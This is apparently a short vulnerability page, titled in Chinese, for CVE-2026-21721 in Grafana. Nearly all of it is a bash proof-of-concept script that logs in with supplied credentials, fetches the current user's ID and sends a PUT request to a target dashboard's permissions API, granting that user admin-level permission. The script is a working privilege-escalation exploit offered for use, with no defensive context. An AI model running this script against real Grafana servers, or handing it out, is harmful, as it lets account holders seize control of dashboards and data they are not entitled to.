CVE-2026-21721 Grafana Dashboard权限API未授权访问漏洞

#!/bin/bash # CVE-2026-21721 PoC - Grafana Dashboard Permission Escalation # Requirements: Valid Grafana user account with permission management rights on one dashboard GRAFANA_HOST="http://localhost:3000" USERNAME="[email protected]" PASSWORD="password123" TARGET_DASHBOARD_ID="12345" # ID of target dashboard to escalate # Step 1: Authenticate and get session cookie echo "[+] Authenticating to Grafana..." AUTH_RESPONSE=$(curl -s -c /tmp/cookies.txt -H "Content-Type: application/json" \ -d "{\"user\":\"$USERNAME\",\"password\":\"$PASSWORD\"}" \ "$GRAFANA_HOST/api/login") if echo "$AUTH_RESPONSE" | grep -q "error"; then echo "[-] Authentication failed" exit 1 fi echo "[+] Authentication successful" # Step 2: Get current user info echo "[+] Fetching current user info..." USER_INFO=$(curl -s -b /tmp/cookies.txt "$GRAFANA_HOST/api/user") CURRENT_USER_ID=$(echo "$USER_INFO" | grep -oP '"id":\s*\K\d+') echo "[+] Current user ID: $CURRENT_USER_ID" # Step 3: Exploit - Add permission for target dashboard echo "[+] Exploiting CVE-2026-21721..." EXPLOIT_PAYLOAD='{ "items": [ { "userId": '$CURRENT_USER_ID', "permission": 4 } ] }' EXPLOIT_RESPONSE=$(curl -s -b /tmp/cookies.txt \ -X PUT \ -H "Content-Type: application/json" \ -d "$EXPLOIT_PAYLOAD" \ "$GRAFANA_HOST/api/dashboards/id/$TARGET_DASHBOARD_ID/permissions") echo "[+] Exploit response: $EXPLOIT_RESPONSE" if echo "$EXPLOIT_RESPONSE" | grep -q "permissions"; then echo "[+] SUCCESS: Permission escalation completed!" echo "[+] You now have elevated permissions on dashboard ID: $TARGET_DASHBOARD_ID" else echo "[-] Exploit may have failed or dashboard not accessible" fi